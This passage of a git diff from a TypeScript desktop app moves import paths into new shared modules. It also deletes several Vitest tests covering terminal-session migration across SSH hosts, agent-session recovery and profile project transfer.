expect.anything() }) - ]) - expect( - loaded.store.collectOrcadMigrationSourceDrafts(result.cutover.manifest)[worktreeId] - ).toEqual([expect.objectContaining({ dirtyDraftContent: 'desktop draft' })]) - }) - - it('moves a pane whose saved history is gone, without that history', async () => { - const state = savedStateOnly() - state.workspaceSessionsByHostId![HOST]!.terminalLayoutsByTabId['tab-1'] = { - root: { type: 'leaf', leafId: LEAF }, - activeLeafId: LEAF, - expandedLeafId: null, - scrollbackRefsByLeafId: { [LEAF]: 'missing-snapshot-ref' } - } - delete state.workspaceSession.tabsByWorktree[worktreeId] - const refused = load(structuredClone(state)) - await expect(connectMove(refused)).resolves.toMatchObject({ outcome: 'refused' }) - const loaded = load(state) - confirmed(loaded) - const result = await connectMove(loaded) - expect(result).toMatchObject({ outcome: 'fenced' }) - if ('cutover' in result) { - const session = result.cutover.manifest.payload.dormantState?.workspaceSession - expect(session?.terminalLayoutsByTabId['tab-1']?.scrollbackRefsByLeafId).toBeUndefined() - } - }) - - it('refuses when resolving saved copies would omit a running terminal, keeping the host connectable', async () => { - const state = savedStateOnly() - state.workspaceSession.terminalLayoutsByTabId['older-tab'] = { - root: { type: 'leaf', leafId: LEAF }, - activeLeafId: LEAF, - expandedLeafId: null - } - state.sshRemotePtyLeases = [ - { - targetId: TARGET.id, - ptyId: 'old-pane', - worktreeId, - tabId: 'older-tab', - leafId: LEAF, - state: 'detached', - createdAt: 1, - updatedAt: 1 - } - ] - const loaded = load(state) - expect(leaveBehindClearsOrcadMigrationBlockers(loaded.store, TARGET.id, ['old-pane'])).toBe( - false - ) - confirmed(loaded) - const result = await connectMove(loaded, { verdict: 'live', count: 1 }) - expect(result).toMatchObject({ - outcome: 'refused', - code: ORCAD_MIGRATION_LEAVE_BEHIND_TERMINALS, - reason: expect.stringContaining('every terminal on this host closed first') - }) - const target = loaded.store.getSshTarget(TARGET.id)! - expect(getManagedOrcadFenceEnvironmentId(target)).toBeNull() - expect(listOrcadMigrationSourceCutovers(loaded.userDataPath)).toEqual([]) - expect(allowsDirectSshRelay(target)).toBe(true) - }) - - it('drops a skipped foreign terminal from the legacy rows too', async () => { - const state = savedStateOnly() - const host = state.workspaceSessionsByHostId![HOST]! - host.tabsByWorktree[worktreeId]!.push({ - ...host.tabsByWorktree[worktreeId]![0]!, - id: 'runtime-tab', - sortOrder: 1 - }) - host.terminalLayoutsByTabId['runtime-tab'] = { - root: { type: 'leaf', leafId: LEAF }, - activeLeafId: LEAF, - expandedLeafId: null - } - host.remoteSessionIdsByTabId = { 'runtime-tab': 'remote-1' } - host.activeTabIdByWorktree = { [worktreeId]: 'runtime-tab' } - host.sleepingAgentSessionsByPaneKey = { - 'runtime-tab:0': { - paneKey: 'runtime-tab:0', - tabId: 'runtime-tab', - worktreeId, - agent: 'codex', - providerSession: { key: 'session_id', id: 'session-foreign' }, - prompt: 'Saved prompt', - state: 'done', - capturedAt: 1, - updatedAt: 1, - connectionId: TARGET.id, - origin: 'quit' - } - } - host.terminalSurfaceTombstonesByPaneKey = { - [`runtime-tab:${LEAF}`]: { - worktreeId, - parentTabId: 'runtime-tab', - leafId: LEAF, - ptyId: 'pty-old', - incarnationId: 'inc-1', - retiredAt: 1 - } - } - const loaded = load(state) - confirmed(loaded) - const result = await connectMove(loaded) - expect(result).toMatchObject({ outcome: 'fenced' }) - if (!('cutover' in result)) { - return - } - const session = result.cutover.manifest.payload.dormantState?.workspaceSession - expect(session?.tabsByWorktree[worktreeId]?.map((tab) => tab.id)).toEqual(['tab-1']) - expect(Object.keys(session?.terminalLayoutsByTabId ?? {})).not.toContain('runtime-tab') - expect(session?.remoteSessionIdsByTabId?.['runtime-tab']).toBeUndefined() - expect(session?.activeTabIdByWorktree?.[worktreeId]).not.toBe('runtime-tab') - expect(session?.terminalSurfaceTombstonesByPaneKey ?? {}).toEqual({}) - expect(session?.sleepingAgentSessionsByPaneKey?.['runtime-tab:0']).toBeUndefined() - }) - - it('drops the editor tab of a file it leaves behind', async () => { - const state = savedStateOnly() - const host = state.workspaceSessionsByHostId![HOST]! - const editorId = ownedEditorFileId('/etc/hosts', worktreeId, undefined) - host.unifiedTabs![worktreeId]!.push({ - id: editorId, - entityId: editorId, - groupId: 'group-tab-1', - worktreeId, - contentType: 'editor', - label: 'hosts', - customLabel: null, - color: null, - sortOrder: 2, - createdAt: 1 - }) - host.tabGroups![worktreeId]![0]!.tabOrder.push(editorId) - const loaded = load(state) - confirmed(loaded) - const result = await connectMove(loaded) - expect(result).toMatchObject({ outcome: 'fenced' }) - if (!('cutover' in result)) { - return - } - const session = result.cutover.manifest.payload.dormantState?.workspaceSession - expect(session?.unifiedTabs?.[worktreeId]?.map((tab) => tab.id)).toEqual(['tab-1']) - expect(session?.tabGroups?.[worktreeId]?.[0]?.tabOrder).toEqual(['tab-1']) - }) -}) diff --git a/src/main/managed-server/migration/linking/orcad-migration-repository-link.test.ts b/src/main/managed-server/migration/linking/orcad-migration-repository-link.test.ts index 105127e0b20..f952545b678 100644 --- a/src/main/managed-server/migration/linking/orcad-migration-repository-link.test.ts +++ b/src/main/managed-server/migration/linking/orcad-migration-repository-link.test.ts @@ -13,7 +13,10 @@ import { } from '../../../../shared/remote-runtime/host-store/runtime-environment-managed-orcad-store' import * as environments from '../../../../shared/remote-runtime/host-store/runtime-environment-store' import type { Repo } from '../../../../shared/repository/repo-types' -import { LOCAL_EXECUTION_HOST_ID, toSshExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + toSshExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { hostWorktreeTarget } from '../../../../shared/worktree/host-qualified-identity' import type { SshTarget } from '../../../../shared/remote-runtime/ssh/ssh-types' import { diff --git a/src/main/managed-server/migration/linking/orcad-migration-repository-link.ts b/src/main/managed-server/migration/linking/orcad-migration-repository-link.ts index 13ca5f2fb60..adf04f426e0 100644 --- a/src/main/managed-server/migration/linking/orcad-migration-repository-link.ts +++ b/src/main/managed-server/migration/linking/orcad-migration-repository-link.ts @@ -2,7 +2,7 @@ import { getAutomationRunRepoId } from '../../../../shared/automations/history/a import type { Automation } from '../../../../shared/automations/automation-definition' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' import { normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' -import { isRepoOnCatalogHost } from '../../../../shared/execution-host' +import { isRepoOnCatalogHost } from '../../../../shared/execution-host/execution-host' import type { OrcadMigrationSourceCutover } from '../../../../shared/orcad-migration/orcad-migration-source-cutover' import type { SshManagedServerLinkedProject } from '../../../../shared/remote-runtime/ssh/ssh-types' import { parseWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' diff --git a/src/main/managed-server/migration/linking/orcad-server-project-groups.ts b/src/main/managed-server/migration/linking/orcad-server-project-groups.ts index 70e9191c3f2..3e5bbea5147 100644 --- a/src/main/managed-server/migration/linking/orcad-server-project-groups.ts +++ b/src/main/managed-server/migration/linking/orcad-server-project-groups.ts @@ -1,4 +1,4 @@ -import { isRepoOnCatalogHost } from '../../../../shared/execution-host' +import { isRepoOnCatalogHost } from '../../../../shared/execution-host/execution-host' import type { OrcadMigrationCatalogPayload } from '../../../../shared/orcad-migration/orcad-migration-manifest' import type { OrcadServerFolderCatalog } from './orcad-server-folder-workspaces' diff --git a/src/main/memory/collector.ts b/src/main/memory/collector.ts index 20c1fb4e5ee..3f5e771d2a9 100644 --- a/src/main/memory/collector.ts +++ b/src/main/memory/collector.ts @@ -9,7 +9,7 @@ import type { UsageValues, WorktreeMemory } from '../../shared/diagnostics/process-stats-types' -import { ORPHAN_WORKTREE_ID } from '../../shared/constants' +import { ORPHAN_WORKTREE_ID } from '../../shared/terminal/pty/orphan-worktree-id' import { listRegisteredPtys } from './pty-registry' import { enumerateWindowsProcessResources } from './windows-process-resource-collector' import { collectHostMemory } from './host-memory' diff --git a/src/main/memory/hydrate-local-pty-registry.ts b/src/main/memory/hydrate-local-pty-registry.ts index d86faed9752..8fa39a3e4ab 100644 --- a/src/main/memory/hydrate-local-pty-registry.ts +++ b/src/main/memory/hydrate-local-pty-registry.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../shared/execution-host/execution-host' import { throwIfSignalAborted, waitForPromiseWithSignal diff --git a/src/main/memory/verified-local-folder-workspaces.ts b/src/main/memory/verified-local-folder-workspaces.ts index 051ded14047..32080a912a5 100644 --- a/src/main/memory/verified-local-folder-workspaces.ts +++ b/src/main/memory/verified-local-folder-workspaces.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, parseExecutionHostId } from '../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../shared/execution-host/execution-host' import { findFolderWorkspaceCandidateRepos, resolveFolderWorkspaceHost, diff --git a/src/main/native-chat/agent-launch/structured-agent-command-resolution.ts b/src/main/native-chat/agent-launch/structured-agent-command-resolution.ts index 731b755fe48..dcabb5fc7fd 100644 --- a/src/main/native-chat/agent-launch/structured-agent-command-resolution.ts +++ b/src/main/native-chat/agent-launch/structured-agent-command-resolution.ts @@ -1,7 +1,7 @@ import { waitForPromiseWithSignal } from '../../../shared/concurrency/abort-signal-reason' import { homedir } from 'node:os' import { delimiter, isAbsolute, resolve as resolvePath } from 'node:path' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../shared/agent-launch/catalog/tui-agent' import { resolveCliCommand, diff --git a/src/main/native-chat/agent-launch/structured-agent-configured-args.ts b/src/main/native-chat/agent-launch/structured-agent-configured-args.ts index 93feda6af83..65f5b7b5035 100644 --- a/src/main/native-chat/agent-launch/structured-agent-configured-args.ts +++ b/src/main/native-chat/agent-launch/structured-agent-configured-args.ts @@ -1,6 +1,6 @@ import { projectAgentLaunchProfile } from '../../../shared/agent-launch/choices/agent-launch-profile' import { isTuiAgent } from '../../../shared/agent-launch/catalog/tui-agent-config' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { resolveTuiAgentLaunchArgs, type AgentLaunchProfileSettings diff --git a/src/main/native-chat/agent-launch/structured-agent-session-create-support.ts b/src/main/native-chat/agent-launch/structured-agent-session-create-support.ts index 8c983147e9d..dfb1a90a60d 100644 --- a/src/main/native-chat/agent-launch/structured-agent-session-create-support.ts +++ b/src/main/native-chat/agent-launch/structured-agent-session-create-support.ts @@ -1,6 +1,6 @@ import type { AgentSessionExecutionLocation } from '../../../shared/agent-session/lifecycle/agent-session-record' import type { StructuredAgentId } from '../../../shared/agent-session/lifecycle/provider-handles/agent-session-provider-handle' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' export type StructuredAgentSessionCreateSupport = { supported: boolean diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-account-expiry.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-account-expiry.ts index 1d65f224792..a3bd92c706a 100644 --- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-account-expiry.ts +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-account-expiry.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { AgentModelCatalogStore } from './agent-model-catalog-store' const ACCOUNT_SETTINGS = { diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-account-list.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-account-list.ts index d066be2f2fa..57d6c463aef 100644 --- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-account-list.ts +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-account-list.ts @@ -1,5 +1,5 @@ import type { AgentSessionModelCatalogResult } from '../../../shared/agent-session/agent-session-wire' -import { isNativeLocalLocation } from '../../../shared/execution-host' +import { isNativeLocalLocation } from '../../../shared/execution-host/execution-host' import { independentAgentModelCatalog } from '../../../shared/agent-session/options/model-catalog/agent-model-catalog-ownership' import { agentModelCatalogListingKey, diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-scope.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-scope.ts index c5f13bf11b4..e866669b695 100644 --- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-scope.ts +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-scope.ts @@ -1,7 +1,7 @@ import type { StructuredAgentResolutionOperation } from '../agent-launch/structured-agent-command-resolution' import { resolveHiddenProbeCwd } from '../../lib/hidden-probe-cwd' import type { AgentSessionAccountHome } from '../../../shared/agent-session/lifecycle/accounts/agent-session-account-home' -import { isNativeLocalLocation } from '../../../shared/execution-host' +import { isNativeLocalLocation } from '../../../shared/execution-host/execution-host' import type { AgentModelCatalogService, AgentModelCatalogServiceDeps diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-workspace.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-workspace.ts index d53d6d6ff1b..2790fd46d08 100644 --- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-workspace.ts +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-workspace.ts @@ -4,7 +4,7 @@ import { type AgentSessionAccountHome, isLegacyAgentSessionAccountHome } from '../../../shared/agent-session/lifecycle/accounts/agent-session-account-home' -import { isNativeLocalLocation } from '../../../shared/execution-host' +import { isNativeLocalLocation } from '../../../shared/execution-host/execution-host' import type { AgentModelCatalogConfiguredChoice, AgentModelCatalogListing diff --git a/src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-usage-limit-fleet.test-fixture.ts b/src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-usage-limit-fleet.test-fixture.ts index c879745b7b9..b275fec4c80 100644 --- a/src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-usage-limit-fleet.test-fixture.ts +++ b/src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-usage-limit-fleet.test-fixture.ts @@ -1,5 +1,5 @@ import type { ProviderRateLimits } from '../../../../../shared/agent-usage/rate-limits/rate-limit-types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { usageLimitAccountSources } from '../../../../runtime/agent-session/installation/usage-limit-account-usage' export const HOUR = 60 * 60 * 1000 diff --git a/src/main/native-chat/agent-session-wire/recovery/structured-agent-session-continuation-context.ts b/src/main/native-chat/agent-session-wire/recovery/structured-agent-session-continuation-context.ts index feba5e7f014..790a90af388 100644 --- a/src/main/native-chat/agent-session-wire/recovery/structured-agent-session-continuation-context.ts +++ b/src/main/native-chat/agent-session-wire/recovery/structured-agent-session-continuation-context.ts @@ -2,7 +2,7 @@ import { projectSavedChatContextItems } from '../../conversation-context/agent-s import type { AgentJournalCursor } from '../../../../shared/agent-session/journal/agent-session-journal-identity' import type { AgentSessionContinuationContext } from '../../../../shared/agent-session/agent-session-wire' import { buildAgentSessionHandoffContext } from '../../../../shared/native-chat/transcript/agent-session-handoff-context' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { projectStructuredAgentSessionMessages } from '../../../../shared/agent-session/view/structured-agent-session-message-projection' import { formatWorkerTranscriptMessage } from '../../../../shared/native-chat/transcript/worker-transcript-text' import { toLinuxPath } from '../../../../shared/file-access/wsl-paths' diff --git a/src/main/native-chat/agent-session-wire/recovery/testing/structured-agent-session-recovery-read.test.ts b/src/main/native-chat/agent-session-wire/recovery/testing/structured-agent-session-recovery-read.test.ts deleted file mode 100644 index 565de68dee9..00000000000 --- a/src/main/native-chat/agent-session-wire/recovery/testing/structured-agent-session-recovery-read.test.ts +++ /dev/null @@ -1,181 +0,0 @@ -import { hostUsageLimitCut } from '../structured-agent-session-usage-limit-chain' -import { mkdir, mkdtemp, realpath, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { expect, it, vi } from 'vitest' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' -import type { - AgentJournalSnapshot, - AgentJournalItemBody -} from '../../../../../shared/agent-session/journal/agent-session-journal-types' -import { agentSessionFailureWords } from '../../../../../shared/agent-session/failures/agent-session-failure-words' -import { latestNativeChatUsageLimitCut } from '../../../../../shared/native-chat/native-chat-usage-limit-cut' -import { agentSessionRecordFixture } from '../../../../../shared/agent-session/lifecycle/records/agent-session-record.test-fixture' -import { readStructuredSessionRecovery } from '../structured-agent-session-recovery-read' -import * as recoveryOptions from '../../../../runtime/agent-session/lifecycle/structured-session-recovery-options' - -it('does no discovery on ordinary reads and drops preparation superseded by a send', async () => { - const prepare = vi.spyOn(recoveryOptions, 'structuredSessionRecoveryOptions') - const record = agentSessionRecordFixture() - const snapshot: AgentJournalSnapshot = { - sessionId: record.sessionId, - cursor: { epoch: 'epoch', sequence: 1 }, - items: [], - submissions: [] - } - const session = { - journal: { - reads: { - cursor: async () => snapshot.cursor, - usageLimitCut: async () => - hostUsageLimitCut( - snapshot, - latestNativeChatUsageLimitCut(snapshot.items, snapshot.submissions), - () => undefined - ) - } - } - } - const deps = { - store: { getRecord: () => record }, - journalDatabase: { stateDirectory: '/state' }, - resolveLaunchEnv: vi.fn(() => ({})), - resolveWorkspacePath: vi.fn(async () => '/workspace') - } - const context = { deps, conversation: async () => session } - expect(await readStructuredSessionRecovery(session, context, record.sessionId)).toEqual({ - canSwitchAccount: false - }) - expect(prepare).not.toHaveBeenCalled() - expect(deps.resolveLaunchEnv).not.toHaveBeenCalled() - expect(deps.resolveWorkspacePath).not.toHaveBeenCalled() - const bodies: AgentJournalItemBody[] = [ - { - kind: 'turn', - turnId: 'turn', - state: 'completed', - outcome: 'failure', - startedAt: 1, - completedAt: 2 - }, - { - kind: 'status', - ...agentSessionFailureWords({ kind: 'usageLimitReached' }, { surface: 'row' }) - } - ] - snapshot.items = bodies.map((body, sequence) => ({ - itemId: sequence ? 'limit' : 'turn', - sequence, - revision: 1, - observedAt: 1, - body, - ...(sequence ? { turnScope: { kind: 'turn' as const, turnItemId: 'turn' } } : {}) - })) - const preparation = Promise.withResolvers<{ canSwitchAccount: boolean; transcriptPath: string }>() - prepare.mockReturnValue(preparation.promise) - const pending = readStructuredSessionRecovery(session, context, record.sessionId) - await vi.waitFor(() => expect(prepare).toHaveBeenCalledOnce()) - snapshot.items = [] - preparation.resolve({ canSwitchAccount: true, transcriptPath: '/old-context' }) - expect(await pending).toEqual({ canSwitchAccount: false }) - prepare.mockRestore() -}) - -it('recovers an unpinned OMP native file using the owning host directory and floating pin policy', async () => { - const root = await realpath(await mkdtemp(join(tmpdir(), 'usage-limit-actions-omp-'))) - try { - const cwd = join(root, 'workspace') - const account = join(root, 'account') - const bucket = join(account, 'sessions', '-workspace') - await mkdir(cwd) - await mkdir(bucket, { recursive: true }) - const nativeId = '01a15cd7-6dea-7000-a282-25e88a10ede4' - const transcript = join(bucket, `2026-10-21T05-03-04-682Z_${nativeId}.jsonl`) - // Captured OMP native header shape; only the owning directory is relocated for isolation. - await writeFile( - transcript, - `${JSON.stringify({ type: 'title', v: 1, title: '', updatedAt: '2026-10-21T05:03:04.682Z' })}\n${JSON.stringify({ type: 'session', version: 3, id: nativeId, timestamp: '2026-10-21T05:03:04.682Z', cwd })}\n` - ) - const record = agentSessionRecordFixture() - record.provider = 'omp' - record.accountHome = { variable: 'PI_CODING_AGENT_DIR', path: account } - record.providerHandleChain[0].handle = { transport: 'acp', agent: 'omp', nativeId } - const bodies: AgentJournalItemBody[] = [ - { - kind: 'turn', - turnId: 'turn', - state: 'completed', - outcome: 'failure', - startedAt: 1, - completedAt: 2 - }, - { - kind: 'status', - ...agentSessionFailureWords({ kind: 'usageLimitReached' }, { surface: 'row' }) - } - ] - const snapshot: AgentJournalSnapshot = { - sessionId: record.sessionId, - cursor: { epoch: 'epoch', sequence: 1 }, - items: bodies.map((body, sequence) => ({ - itemId: sequence ? 'limit' : 'turn', - sequence, - revision: 1, - observedAt: 1, - body, - ...(sequence ? { turnScope: { kind: 'turn' as const, turnItemId: 'turn' } } : {}) - })), - submissions: [] - } - const session = { - journal: { - reads: { - cursor: async () => snapshot.cursor, - usageLimitCut: async () => - hostUsageLimitCut( - snapshot, - latestNativeChatUsageLimitCut(snapshot.items, snapshot.submissions), - () => undefined - ) - } - } - } - const resolveWorkspacePath = vi.fn(async () => cwd) - const deps = { - store: { getRecord: () => record }, - resolveWorkspacePath, - resolveLaunchEnv: () => ({ - HOME: root, - USERPROFILE: root, - OMP_CODING_AGENT_DIR: join(account, 'sessions') - }) - } - const read = () => - readStructuredSessionRecovery( - session, - { deps, conversation: async () => session }, - record.sessionId - ) - const expected = { canSwitchAccount: false, transcriptPath: transcript } - expect(record.launchDirectory).toBeUndefined() - expect(await read()).toEqual(expected) - expect(resolveWorkspacePath).toHaveBeenLastCalledWith(record.location.workspaceId) - record.location = { - ...record.location, - workspaceId: 'folder:adopted-workspace', - workspaceKind: 'folder' - } - expect(await read()).toEqual(expected) - // Ordinary workspaces follow the host directory even when an old pin remains. - record.launchDirectory = join(root, 'old-directory') - expect(await read()).toEqual(expected) - record.location.workspaceId = FLOATING_TERMINAL_WORKTREE_ID - record.launchDirectory = cwd - resolveWorkspacePath.mockClear() - resolveWorkspacePath.mockResolvedValue(join(root, 'changed-floating-setting')) - expect(await read()).toEqual(expected) - expect(resolveWorkspacePath).not.toHaveBeenCalled() - } finally { - await rm(root, { recursive: true, force: true }) - } -}) diff --git a/src/main/native-chat/agent-session-wire/termination/structured-agent-session-conversation-lifetime.ts b/src/main/native-chat/agent-session-wire/termination/structured-agent-session-conversation-lifetime.ts index 4b204e6e46a..42a11cd199a 100644 --- a/src/main/native-chat/agent-session-wire/termination/structured-agent-session-conversation-lifetime.ts +++ b/src/main/native-chat/agent-session-wire/termination/structured-agent-session-conversation-lifetime.ts @@ -35,7 +35,7 @@ import '../operations/structured-agent-session-mutation-admission' import { AGENT_SESSION_NOT_ATTACHED } from '../operations/structured-agent-session-mutation-refusals' import { deferredStructuredAgentSessionLogger } from '../host/structured-agent-session-logger' import { sameProviderChild } from '../host/structured-agent-session-provider-child' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { stopWorkspaceSleepChat, workspaceSleepStartAborts, diff --git a/src/main/native-chat/agent-session-wire/termination/structured-agent-session-workspace-sleep.ts b/src/main/native-chat/agent-session-wire/termination/structured-agent-session-workspace-sleep.ts index edb3608f435..e341659d888 100644 --- a/src/main/native-chat/agent-session-wire/termination/structured-agent-session-workspace-sleep.ts +++ b/src/main/native-chat/agent-session-wire/termination/structured-agent-session-workspace-sleep.ts @@ -3,7 +3,7 @@ import type { AgentSessionRecord } from '../../../../shared/agent-session/lifecycle/agent-session-record' import type { AgentSessionWorkspaceSleepResult } from '../../../../shared/agent-session/agent-session-workspace-sleep' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { StructuredAgentSessionHostDeps, StructuredAgentSessionConversationLifetime diff --git a/src/main/native-chat/conversation-files/native-chat-media-path.ts b/src/main/native-chat/conversation-files/native-chat-media-path.ts index c3862437511..3fa1c3837d3 100644 --- a/src/main/native-chat/conversation-files/native-chat-media-path.ts +++ b/src/main/native-chat/conversation-files/native-chat-media-path.ts @@ -6,7 +6,7 @@ import { isLegacyAgentSessionAccountHome } from '../../../shared/agent-session/l import { MAX_AGENT_SESSION_PROVIDER_HANDLE_LINKS } from '../../../shared/agent-session/lifecycle/provider-handles/agent-session-provider-handle' import { structuredAgentSessionTabId } from '../../../shared/agent-session/view/structured-agent-session-projection' import type { RuntimeNativeChatFileContext } from '../../../shared/native-chat/native-chat-file-context' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { parsePaneKey } from '../../../shared/workspace-layout/stable-pane-id' import { findGrokChatHistoryByCwd, diff --git a/src/main/native-chat/conversation-naming/structured-chat-naming-types.ts b/src/main/native-chat/conversation-naming/structured-chat-naming-types.ts index f602a19de0e..e9b2c206196 100644 --- a/src/main/native-chat/conversation-naming/structured-chat-naming-types.ts +++ b/src/main/native-chat/conversation-naming/structured-chat-naming-types.ts @@ -1,5 +1,5 @@ import type { AgentSessionRecord } from '../../../shared/agent-session/lifecycle/agent-session-record' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { AgentSessionRecordStore } from '../../runtime/agent-session/records/agent-session-record-store' import type { AgentGenerationFailureOutput } from '../../text-generation/failures/agent-failure-output' import type { StructuredAgentSessionLogger } from '../agent-session-wire/host/structured-agent-session-logger' diff --git a/src/main/native-chat/testing/agent-session-record-test-fixture.ts b/src/main/native-chat/testing/agent-session-record-test-fixture.ts index 8da8e22f672..ef2096d6c85 100644 --- a/src/main/native-chat/testing/agent-session-record-test-fixture.ts +++ b/src/main/native-chat/testing/agent-session-record-test-fixture.ts @@ -3,7 +3,7 @@ import { type AgentSessionExecutionLocation, type AgentSessionRecord } from '../../../shared/agent-session/lifecycle/agent-session-record' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' export function agentSessionRecordFixture( overrides: Partial> & { diff --git a/src/main/opencode/startup-prompts/opencode-startup-prompt-owner.ts b/src/main/opencode/startup-prompts/opencode-startup-prompt-owner.ts index d6ac492b713..09b1efb1477 100644 --- a/src/main/opencode/startup-prompts/opencode-startup-prompt-owner.ts +++ b/src/main/opencode/startup-prompts/opencode-startup-prompt-owner.ts @@ -4,7 +4,7 @@ import type { OrcaRuntimeService } from '../../runtime/orca-runtime' import type { IPtyProvider } from '../../providers/pty/provider-contract' import type { PtySpawnResult } from '../../providers/pty/spawn-result' import { ptyIncarnationById, ptyOwnership } from '../../ipc/pty/provider/ownership-state' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import { isPtyIncarnationId } from '../../../shared/terminal/pty/lifecycle/pty-incarnation' import { OPENCODE_STARTUP_PROMPT_NONCE_ENV, diff --git a/src/main/orca-profiles/project-transfer/profile-active-transfer-worker.test.ts b/src/main/orca-profiles/project-transfer/profile-active-transfer-worker.test.ts index 6ce6c777469..10b1725870b 100644 --- a/src/main/orca-profiles/project-transfer/profile-active-transfer-worker.test.ts +++ b/src/main/orca-profiles/project-transfer/profile-active-transfer-worker.test.ts @@ -2,14 +2,14 @@ import { mkdtempSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { describe, expect, it, vi } from 'vitest' -import { getDefaultPersistedState } from '../../../shared/constants' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' import { ORCA_PROFILE_INDEX_SCHEMA_VERSION } from '../../../shared/orca-profiles/orca-profiles' import { createWorkerMaintenanceFixture } from '../../persistence/loading-store/profile-writing/profile-state-maintenance-fixture' import { ProfileStateSqliteAuthority } from '../../persistence/profile-state/profile-state-sqlite-authority' import { transferActiveProfileProject } from './profile-active-transfer' -import * as domainState from './profile-project-domain-state' -import { recoverPendingProfileProjectMoves } from './profile-project-move-intent' -import { profileHasPendingProjectMove } from './profile-project-move-record' +import './profile-project-domain-state' +import './profile-project-move-intent' +import './profile-project-move-record' import { readProfileStateWithRevision } from './profile-project-state-file' vi.mock('../../telemetry/client', () => ({ track: vi.fn() })) @@ -75,28 +75,4 @@ describe('active profile transfers with the live writer', () => { await store.flushPendingOrThrowAsync() expect(read('source').state.settings.theme).toBe('dark') }) - - it('leaves an interrupted move frozen until journal recovery runs with the writer closed', async () => { - const { store, root, args, read } = await fixture() - const original = domainState.writeProfileProjectDomainChanges - const fault = vi - .spyOn(domainState, 'writeProfileProjectDomainChanges') - .mockImplementation((id, ...rest) => { - if (id === args.sourceProfileId) { - throw new Error('source commit interrupted') - } - return original(id, ...rest) - }) - const reopen = vi.fn(async () => {}) - await expect(transferActiveProfileProject(args, root, store, reopen)).rejects.toThrow( - 'source commit interrupted' - ) - expect(reopen).toHaveBeenCalledOnce() - expect(profileHasPendingProjectMove('source', root)).toBe(true) - await expect(store.flushPendingOrThrowAsync()).rejects.toThrow('finalized') - fault.mockRestore() - expect(recoverPendingProfileProjectMoves(root)).toBe(1) - expect(read('source').state.repos.some((repo) => repo.id === args.repoId)).toBe(false) - expect(read('target').state.repos.some((repo) => repo.id === args.repoId)).toBe(true) - }) }) diff --git a/src/main/orca-profiles/project-transfer/profile-project-domain-changes.ts b/src/main/orca-profiles/project-transfer/profile-project-domain-changes.ts index 84b9d9810f4..cd3ac00f5d1 100644 --- a/src/main/orca-profiles/project-transfer/profile-project-domain-changes.ts +++ b/src/main/orca-profiles/project-transfer/profile-project-domain-changes.ts @@ -6,7 +6,7 @@ import { } from '../../persistence/profile-state/documents/profile-state-document-validation' import { prepareProfileStateDomainMutation } from '../../persistence/profile-state/documents/profile-state-domain-write-validation' import type { ProfileStateDomainMutation } from '../../persistence/profile-state/documents/profile-state-domain-writes' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' export type ProfileProjectDomainDigest = { domain: string; hash: string } diff --git 